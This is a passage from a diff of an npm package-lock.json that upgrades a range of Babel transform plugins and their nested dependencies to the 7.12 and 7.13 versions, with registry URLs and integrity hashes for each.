"sha512-b9COtcAlVEQljy/9fbcMHpG+UIW9ReF+gpaxDHTlZd0c6/UU9ng8zdySAW9sRTzpvcdCHn6bUcbuYUgGzLAWVQ==", + "dev": true + }, + "@babel/template": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.12.13.tgz", + "integrity": "sha512-/7xxiGA57xMo/P2GVvdEumr8ONhFOhfgq2ihK3h1e6THqzTAkHbkXgB0xI9yeTfIUoH3+oAeHhqm/I43OTbbjA==", + "dev": true, + "requires": { + "@babel/code-frame": "^7.12.13", + "@babel/parser": "^7.12.13", + "@babel/types": "^7.12.13" + } + }, + "@babel/types": { + "version": "7.13.14", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", + "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "lodash": "^4.17.19", + "to-fast-properties": "^2.0.0" + } + } } }, "@babel/plugin-transform-computed-properties": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.8.3.tgz", - "integrity": "sha512-O5hiIpSyOGdrQZRQ2ccwtTVkgUDBBiCuK//4RJ6UfePllUTCENOzKxfh6ulckXKc0DixTFLCfb2HVkNA7aDpzA==", + "version": "7.13.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.13.0.tgz", + "integrity": "sha512-RRqTYTeZkZAz8WbieLTvKUEUxZlUTdmL5KGMyZj7FnMfLNKV4+r5549aORG/mgojRmFlQMJDUupwAMiF2Q7OUg==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-plugin-utils": "^7.13.0" } }, "@babel/plugin-transform-destructuring": { - "version": "7.9.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.9.5.tgz", - "integrity": "sha512-j3OEsGel8nHL/iusv/mRd5fYZ3DrOxWC82x0ogmdN/vHfAP4MYw+AFKYanzWlktNwikKvlzUV//afBW5FTp17Q==", + "version": "7.13.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.13.0.tgz", + "integrity": "sha512-zym5em7tePoNT9s964c0/KU3JPPnuq7VhIxPRefJ4/s82cD+q1mgKfuGRDMCPL0HTyKz4dISuQlCusfgCJ86HA==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-plugin-utils": "^7.13.0" } }, "@babel/plugin-transform-dotall-regex": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.8.3.tgz", - "integrity": "sha512-kLs1j9Nn4MQoBYdRXH6AeaXMbEJFaFu/v1nQkvib6QzTj8MZI5OQzqmD83/2jEM1z0DLilra5aWO5YpyC0ALIw==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.12.13.tgz", + "integrity": "sha512-foDrozE65ZFdUC2OfgeOCrEPTxdB3yjqxpXh8CH+ipd9CHd4s/iq81kcUpyH8ACGNEPdFqbtzfgzbT/ZGlbDeQ==", "dev": true, "requires": { - "@babel/helper-create-regexp-features-plugin": "^7.8.3", - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-create-regexp-features-plugin": "^7.12.13", + "@babel/helper-plugin-utils": "^7.12.13" } }, "@babel/plugin-transform-duplicate-keys": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.8.3.tgz", - "integrity": "sha512-s8dHiBUbcbSgipS4SMFuWGqCvyge5V2ZeAWzR6INTVC3Ltjig/Vw1G2Gztv0vU/hRG9X8IvKvYdoksnUfgXOEQ==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.12.13.tgz", + "integrity": "sha512-NfADJiiHdhLBW3pulJlJI2NB0t4cci4WTZ8FtdIuNc2+8pslXdPtRRAEWqUY+m9kNOk2eRYbTAOipAxlrOcwwQ==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-plugin-utils": "^7.12.13" } }, "@babel/plugin-transform-exponentiation-operator": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.8.3.tgz", - "integrity": "sha512-zwIpuIymb3ACcInbksHaNcR12S++0MDLKkiqXHl3AzpgdKlFNhog+z/K0+TGW+b0w5pgTq4H6IwV/WhxbGYSjQ==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.12.13.tgz", + "integrity": "sha512-fbUelkM1apvqez/yYx1/oICVnGo2KM5s63mhGylrmXUxK/IAXSIf87QIxVfZldWf4QsOafY6vV3bX8aMHSvNrA==", "dev": true, "requires": { - "@babel/helper-builder-binary-assignment-operator-visitor": "^7.8.3", - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-builder-binary-assignment-operator-visitor": "^7.12.13", + "@babel/helper-plugin-utils": "^7.12.13" } }, "@babel/plugin-transform-for-of": { - "version": "7.9.0", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.9.0.tgz", - "integrity": "sha512-lTAnWOpMwOXpyDx06N+ywmF3jNbafZEqZ96CGYabxHrxNX8l5ny7dt4bK/rGwAh9utyP2b2Hv7PlZh1AAS54FQ==", + "version": "7.13.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.13.0.tgz", + "integrity": "sha512-IHKT00mwUVYE0zzbkDgNRP6SRzvfGCYsOxIRz8KsiaaHCcT9BWIkO+H9QRJseHBLOGBZkHUdHiqj6r0POsdytg==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-plugin-utils": "^7.13.0" } }, "@babel/plugin-transform-function-name": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.8.3.tgz", - "integrity": "sha512-rO/OnDS78Eifbjn5Py9v8y0aR+aSYhDhqAwVfsTl0ERuMZyr05L1aFSCJnbv2mmsLkit/4ReeQ9N2BgLnOcPCQ==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.12.13.tgz", + "integrity": "sha512-6K7gZycG0cmIwwF7uMK/ZqeCikCGVBdyP2J5SKNCXO5EOHcqi+z7Jwf8AmyDNcBgxET8DrEtCt/mPKPyAzXyqQ==", "dev": true, "requires": { - "@babel/helper-function-name": "^7.8.3", - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-function-name": "^7.12.13", + "@babel/helper-plugin-utils": "^7.12.13" + }, + "dependencies": { + "@babel/code-frame": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.12.13.tgz", + "integrity": "sha512-HV1Cm0Q3ZrpCR93tkWOYiuYIgLxZXZFVG2VgK+MBWjUqZTundupbfx2aXarXuw5Ko5aMcjtJgbSs4vUGBS5v6g==", + "dev": true, + "requires": { + "@babel/highlight": "^7.12.13" + } + }, + "@babel/helper-function-name": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.12.13.tgz", + "integrity": "sha512-TZvmPn0UOqmvi5G4vvw0qZTpVptGkB1GL61R6lKvrSdIxGm5Pky7Q3fpKiIkQCAtRCBUwB0PaThlx9vebCDSwA==", + "dev": true, + "requires": { + "@babel/helper-get-function-arity": "^7.12.13", + "@babel/template": "^7.12.13", + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-get-function-arity": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.12.13.tgz", + "integrity": "sha512-DjEVzQNz5LICkzN0REdpD5prGoidvbdYk1BVgRUOINaWJP2t6avB27X1guXK1kXNrX0WMfsrm1A/ZBthYuIMQg==", + "dev": true, + "requires": { + "@babel/types": "^7.12.13" + } + }, + "@babel/helper-validator-identifier": { + "version": "7.12.11", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", + "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "dev": true + }, + "@babel/highlight": { + "version": "7.13.10", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.13.10.tgz", + "integrity": "sha512-5aPpe5XQPzflQrFwL1/QoeHkP2MsA4JCntcXHRhEsdsfPVkvPi2w7Qix4iV7t5S/oC9OodGrggd8aco1g3SZFg==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "chalk": "^2.0.0", + "js-tokens": "^4.0.0" + } + }, + "@babel/parser": { + "version": "7.13.15", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.13.15.tgz", + "integrity": "sha512-b9COtcAlVEQljy/9fbcMHpG+UIW9ReF+gpaxDHTlZd0c6/UU9ng8zdySAW9sRTzpvcdCHn6bUcbuYUgGzLAWVQ==", + "dev": true + }, + "@babel/template": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.12.13.tgz", + "integrity": "sha512-/7xxiGA57xMo/P2GVvdEumr8ONhFOhfgq2ihK3h1e6THqzTAkHbkXgB0xI9yeTfIUoH3+oAeHhqm/I43OTbbjA==", + "dev": true, + "requires": { + "@babel/code-frame": "^7.12.13", + "@babel/parser": "^7.12.13", + "@babel/types": "^7.12.13" + } + }, + "@babel/types": { + "version": "7.13.14", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", + "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "lodash": "^4.17.19", + "to-fast-properties": "^2.0.0" + } + } } }, "@babel/plugin-transform-literals": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-literals/-/plugin-transform-literals-7.8.3.tgz", - "integrity": "sha512-3Tqf8JJ/qB7TeldGl+TT55+uQei9JfYaregDcEAyBZ7akutriFrt6C/wLYIer6OYhleVQvH/ntEhjE/xMmy10A==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-literals/-/plugin-transform-literals-7.12.13.tgz", + "integrity": "sha512-FW+WPjSR7hiUxMcKqyNjP05tQ2kmBCdpEpZHY1ARm96tGQCCBvXKnpjILtDplUnJ/eHZ0lALLM+d2lMFSpYJrQ==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-plugin-utils": "^7.12.13" } }, "@babel/plugin-transform-member-expression-literals": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.8.3.tgz", - "integrity": "sha512-3Wk2EXhnw+rP+IDkK6BdtPKsUE5IeZ6QOGrPYvw52NwBStw9V1ZVzxgK6fSKSxqUvH9eQPR3tm3cOq79HlsKYA==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.12.13.tgz", + "integrity": "sha512-kxLkOsg8yir4YeEPHLuO2tXP9R/gTjpuTOjshqSpELUN3ZAg2jfDnKUvzzJxObun38sw3wm4Uu69sX/zA7iRvg==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-plugin-utils": "^7.12.13" } }, "@babel/plugin-transform-modules-amd": { - "version": "7.9.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.9.6.tgz", - "integrity": "sha512-zoT0kgC3EixAyIAU+9vfaUVKTv9IxBDSabgHoUCBP6FqEJ+iNiN7ip7NBKcYqbfUDfuC2mFCbM7vbu4qJgOnDw==", + "version": "7.13.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.13.0.tgz", + "integrity": "sha512-EKy/E2NHhY/6Vw5d1k3rgoobftcNUmp9fGjb9XZwQLtTctsRBOTRO7RHHxfIky1ogMN5BxN7p9uMA3SzPfotMQ==", "dev": true, "requires": { - "@babel/helper-module-transforms": "^7.9.0", - "@babel/helper-plugin-utils": "^7.8.3", + "@babel/helper-module-transforms": "^7.13.0", + "@babel/helper-plugin-utils": "^7.13.0", "babel-plugin-dynamic-import-node": "^2.3.3" } }, "@babel/plugin-transform-modules-commonjs": { - "version": "7.9.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.9.6.tgz", - "integrity": "sha512-7H25fSlLcn+iYimmsNe3uK1at79IE6SKW9q0/QeEHTMC9MdOZ+4bA+T1VFB5fgOqBWoqlifXRzYD0JPdmIrgSQ==", + "version": "7.13.8", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.13.8.tgz", + "integrity": "sha512-9QiOx4MEGglfYZ4XOnU79OHr6vIWUakIj9b4mioN8eQIoEh+pf5p/zEB36JpDFWA12nNMiRf7bfoRvl9Rn79Bw==", "dev": true, "requires": { - "@babel/helper-module-transforms": "^7.9.0", - "@babel/helper-plugin-utils": "^7.8.3", - "@babel/helper-simple-access": "^7.8.3", + "@babel/helper-module-transforms": "^7.13.0", + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/helper-simple-access": "^7.12.13", "babel-plugin-dynamic-import-node": "^2.3.3" } }, "@babel/plugin-transform-modules-systemjs": { - "version": "7.9.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.9.6.tgz", - "integrity": "sha512-NW5XQuW3N2tTHim8e1b7qGy7s0kZ2OH3m5octc49K1SdAKGxYxeIx7hiIz05kS1R2R+hOWcsr1eYwcGhrdHsrg==", + "version": "7.13.8", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.13.8.tgz", + "integrity": "sha512-hwqctPYjhM6cWvVIlOIe27jCIBgHCsdH2xCJVAYQm7V5yTMoilbVMi9f6wKg0rpQAOn6ZG4AOyvCqFF/hUh6+A==", "dev": true, "requires": { - "@babel/helper-hoist-variables": "^7.8.3", - "@babel/helper-module-transforms": "^7.9.0", - "@babel/helper-plugin-utils": "^7.8.3", + "@babel/helper-hoist-variables": "^7.13.0", + "@babel/helper-module-transforms": "^7.13.0", + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/helper-validator-identifier": "^7.12.11", "babel-plugin-dynamic-import-node": "^2.3.3" + }, + "dependencies": { + "@babel/helper-validator-identifier": { + "version": "7.12.11", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", + "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "dev": true + } } }, "@babel/plugin-transform-modules-umd": { - "version": "7.9.0", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.9.0.tgz", - "integrity": "sha512-uTWkXkIVtg/JGRSIABdBoMsoIeoHQHPTL0Y2E7xf5Oj7sLqwVsNXOkNk0VJc7vF0IMBsPeikHxFjGe+qmwPtTQ==", + "version": "7.13.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.13.0.tgz", + "integrity": "sha512-D/ILzAh6uyvkWjKKyFE/W0FzWwasv6vPTSqPcjxFqn6QpX3u8DjRVliq4F2BamO2Wee/om06Vyy+vPkNrd4wxw==", "dev": true, "requires": { - "@babel/helper-module-transforms": "^7.9.0", - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-module-transforms": "^7.13.0", + "@babel/helper-plugin-utils": "^7.13.0" } }, "@babel/plugin-transform-named-capturing-groups-regex": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.8.3.tgz", - "integrity": "sha512-f+tF/8UVPU86TrCb06JoPWIdDpTNSGGcAtaD9mLP0aYGA0OS0j7j7DHJR0GTFrUZPUU6loZhbsVZgTh0N+Qdnw==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.12.13.tgz", + "integrity": "sha512-Xsm8P2hr5hAxyYblrfACXpQKdQbx4m2df9/ZZSQ8MAhsadw06+jW7s9zsSw6he+mJZXRlVMyEnVktJo4zjk1WA==", "dev": true, "requires": { - "@babel/helper-create-regexp-features-plugin": "^7.8.3" + "@babel/helper-create-regexp-features-plugin": "^7.12.13" } }, "@babel/plugin-transform-new-target": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.8.3.tgz", - "integrity": "sha512-QuSGysibQpyxexRyui2vca+Cmbljo8bcRckgzYV4kRIsHpVeyeC3JDO63pY+xFZ6bWOBn7pfKZTqV4o/ix9sFw==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.12.13.tgz", + "integrity": "sha512-/KY2hbLxrG5GTQ9zzZSc3xWiOy379pIETEhbtzwZcw9rvuaVV4Fqy7BYGYOWZnaoXIQYbbJ0ziXLa/sKcGCYEQ==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-plugin-utils": "^7.12.13" } }, "@babel/plugin-transform-object-super": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.8.3.tgz", - "integrity": "sha512-57FXk+gItG/GejofIyLIgBKTas4+pEU47IXKDBWFTxdPd7F80H8zybyAY7UoblVfBhBGs2EKM+bJUu2+iUYPDQ==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.12.13.tgz", + "integrity": "sha512-JzYIcj3XtYspZDV8j9ulnoMPZZnF/Cj0LUxPOjR89BdBVx+zYJI9MdMIlUZjbXDX+6YVeS6I3e8op+qQ3BYBoQ==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3", - "@babel/helper-replace-supers": "^7.8.3" + "@babel/helper-plugin-utils": "^7.12.13", + "@babel/helper-replace-supers": "^7.12.13" } }, "@babel/plugin-transform-parameters": { - "version": "7.9.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.9.5.tgz", - "integrity": "sha512-0+1FhHnMfj6lIIhVvS4KGQJeuhe1GI//h5uptK4PvLt+BGBxsoUJbd3/IW002yk//6sZPlFgsG1hY6OHLcy6kA==", + "version": "7.13.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.13.0.tgz", + "integrity": "sha512-Jt8k/h/mIwE2JFEOb3lURoY5C85ETcYPnbuAJ96zRBzh1XHtQZfs62ChZ6EP22QlC8c7Xqr9q+e1SU5qttwwjw==", "dev": true, "requires": { - "@babel/helper-get-function-arity": "^7.8.3", - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-plugin-utils": "^7.13.0" } }, "@babel/plugin-transform-property-literals": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.8.3.tgz", - "integrity": "sha512-uGiiXAZMqEoQhRWMK17VospMZh5sXWg+dlh2soffpkAl96KAm+WZuJfa6lcELotSRmooLqg0MWdH6UUq85nmmg==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.12.13.tgz", + "integrity": "sha512-nqVigwVan+lR+g8Fj8Exl0UQX2kymtjcWfMOYM1vTYEKujeyv2SkMgazf2qNcK7l4SDiKyTA/nHCPqL4e2zo1A==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-plugin-utils": "^7.12.13" } }, "@babel/plugin-transform-react-display-name": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-display-name/-/plugin-transform-react-display-name-7.8.3.tgz", - "integrity": "sha512-3Jy/PCw8Fe6uBKtEgz3M82ljt+lTg+xJaM4og+eyu83qLT87ZUSckn0wy7r31jflURWLO83TW6Ylf7lyXj3m5A==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-display-name/-/plugin-transform-react-display-name-7.12.13.tgz", + "integrity": "sha512-MprESJzI9O5VnJZrL7gg1MpdqmiFcUv41Jc7SahxYsNP2kDkFqClxxTZq+1Qv4AFCamm+GXMRDQINNn+qrxmiA==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-plugin-utils": "^7.12.13" } }, "@babel/plugin-transform-react-jsx": { - "version": "7.9.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.9.4.tgz", - "integrity": "sha512-Mjqf3pZBNLt854CK0C/kRuXAnE6H/bo7xYojP+WGtX8glDGSibcwnsWwhwoSuRg0+EBnxPC1ouVnuetUIlPSAw==", + "version": "7.13.12", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.13.12.tgz", + "integrity": "sha512-jcEI2UqIcpCqB5U5DRxIl0tQEProI2gcu+g8VTIqxLO5Iidojb4d77q+fwGseCvd8af/lJ9masp4QWzBXFE2xA==", "dev": true, "requires": { - "@babel/helper-builder-react-jsx": "^7.9.0", - "@babel/helper-builder-react-jsx-experimental": "^7.9.0", - "@babel/helper-plugin-utils": "^7.8.3", - "@babel/plugin-syntax-jsx": "^7.8.3" + "@babel/helper-annotate-as-pure": "^7.12.13", + "@babel/helper-module-imports": "^7.13.12", + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/plugin-syntax-jsx": "^7.12.13", + "@babel/types": "^7.13.12" + }, + "dependencies": { + "@babel/helper-validator-identifier": { + "version": "7.12.11", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", + "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "dev": true + }, + "@babel/types": { + "version": "7.13.14", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", + "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "lodash": "^4.17.19", + "to-fast-properties": "^2.0.0" + } + } } }, "@babel/plugin-transform-react-jsx-development": { - "version": "7.9.0", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-development/-/plugin-transform-react-jsx-development-7.9.0.tgz", - "integrity": "sha512-tK8hWKrQncVvrhvtOiPpKrQjfNX3DtkNLSX4ObuGcpS9p0QrGetKmlySIGR07y48Zft8WVgPakqd/bk46JrMSw==", + "version": "7.12.17", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-development/-/plugin-transform-react-jsx-development-7.12.17.tgz", + "integrity": "sha512-BPjYV86SVuOaudFhsJR1zjgxxOhJDt6JHNoD48DxWEIxUCAMjV1ys6DYw4SDYZh0b1QsS2vfIA9t/ZsQGsDOUQ==", "dev": true, "requires": { - "@babel/helper-builder-react-jsx-experimental": "^7.9.0", - "@babel/helper-plugin-utils": "^7.8.3", - "@babel/plugin-syntax-jsx": "^7.8.3" + "@babel/plugin-transform-react-jsx": "^7.12.17" } }, - "@babel/plugin-transform-react-jsx-self": { - "version": "7.9.0", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-self/-/plugin-transform-react-jsx-self-7.9.0.tgz", - "integrity": "sha512-K2ObbWPKT7KUTAoyjCsFilOkEgMvFG+y0FqOl6Lezd0/13kMkkjHskVsZvblRPj1PHA44PrToaZANrryppzTvQ==", + "@babel/plugin-transform-react-pure-annotations": { + "version": "7.12.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-pure-annotations/-/plugin-transform-react-pure-annotations-7.12.1.tgz", + "integrity": "sha512-RqeaHiwZtphSIUZ5I85PEH19LOSzxfuEazoY7/pWASCAIBuATQzpSVD+eT6MebeeZT2F4eSL0u4vw6n4Nm0Mjg==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3", - "@babel/plugin-syntax-jsx": "^7.8.3" - } - }, - "@babel/plugin-transform-react-jsx-source": { - "version": "7.9.0", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-source/-/plugin-transform-react-jsx-source-7.9.0.tgz", - "integrity": "sha512-K6m3LlSnTSfRkM6FcRk8saNEeaeyG5k7AVkBU2bZK3+1zdkSED3qNdsWrUgQBeTVD2Tp3VMmerxVO2yM5iITmw==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.8.3", - "@babel/plugin-syntax-jsx": "^7.8.3" + "@babel/helper-annotate-as-pure": "^7.10.4", + "@babel/helper-plugin-utils": "^7.10.4" } }, "@babel/plugin-transform-regenerator": { - "version": "7.8.7", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.8.7.tgz", - "integrity": "sha512-TIg+gAl4Z0a3WmD3mbYSk+J9ZUH6n/Yc57rtKRnlA/7rcCvpekHXe0CMZHP1gYp7/KLe9GHTuIba0vXmls6drA==", + "version": "7.13.15", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.13.15.tgz", + "integrity": "sha512-Bk9cOLSz8DiurcMETZ8E2YtIVJbFCPGW28DJWUakmyVWtQSm6Wsf0p4B4BfEr/eL2Nkhe/CICiUiMOCi1TPhuQ==", "dev": true, "requires": { "regenerator-transform": "^0.14.2" } }, "@babel/plugin-transform-reserved-words": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.8.3.tgz", - "integrity": "sha512-mwMxcycN3omKFDjDQUl+8zyMsBfjRFr0Zn/64I41pmjv4NJuqcYlEtezwYtw9TFd9WR1vN5kiM+O0gMZzO6L0A==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.12.13.tgz", + "integrity": "sha512-xhUPzDXxZN1QfiOy/I5tyye+TRz6lA7z6xaT4CLOjPRMVg1ldRf0LHw0TDBpYL4vG78556WuHdyO9oi5UmzZBg==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-plugin-utils": "^7.12.13" } }, "@babel/plugin-transform-runtime": { - "version": "7.9.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-runtime/-/plugin-transform-runtime-7.9.6.tgz", - "integrity": "sha512-qcmiECD0mYOjOIt8YHNsAP1SxPooC/rDmfmiSK9BNY72EitdSc7l44WTEklaWuFtbOEBjNhWWyph/kOImbNJ4w==", + "version": "7.13.15", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-runtime/-/plugin-transform-runtime-7.13.15.tgz", + "integrity": "sha512-d+ezl76gx6Jal08XngJUkXM4lFXK/5Ikl9Mh4HKDxSfGJXmZ9xG64XT2oivBzfxb/eQ62VfvoMkaCZUKJMVrBA==", "dev": true, "requires": { - "@babel/helper-module-imports": "^7.8.3", - "@babel/helper-plugin-utils": "^7.8.3", - "resolve": "^1.8.1", - "semver": "^5.5.1" + "@babel/helper-module-imports": "^7.13.12", + "@babel/helper-plugin-utils": "^7.13.0", + "babel-plugin-polyfill-corejs2": "^0.2.0", + "babel-plugin-polyfill-corejs3": "^0.2.0", + "babel-plugin-polyfill-regenerator": "^0.2.0", + "semver": "^6.3.0" + }, + "dependencies": { + "semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "dev": true + } } }, "@babel/plugin-transform-shorthand-properties": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.8.3.tgz", - "integrity": "sha512-I9DI6Odg0JJwxCHzbzW08ggMdCezoWcuQRz3ptdudgwaHxTjxw5HgdFJmZIkIMlRymL6YiZcped4TTCB0JcC8w==", + "version": "7.12.13", + "resolved": 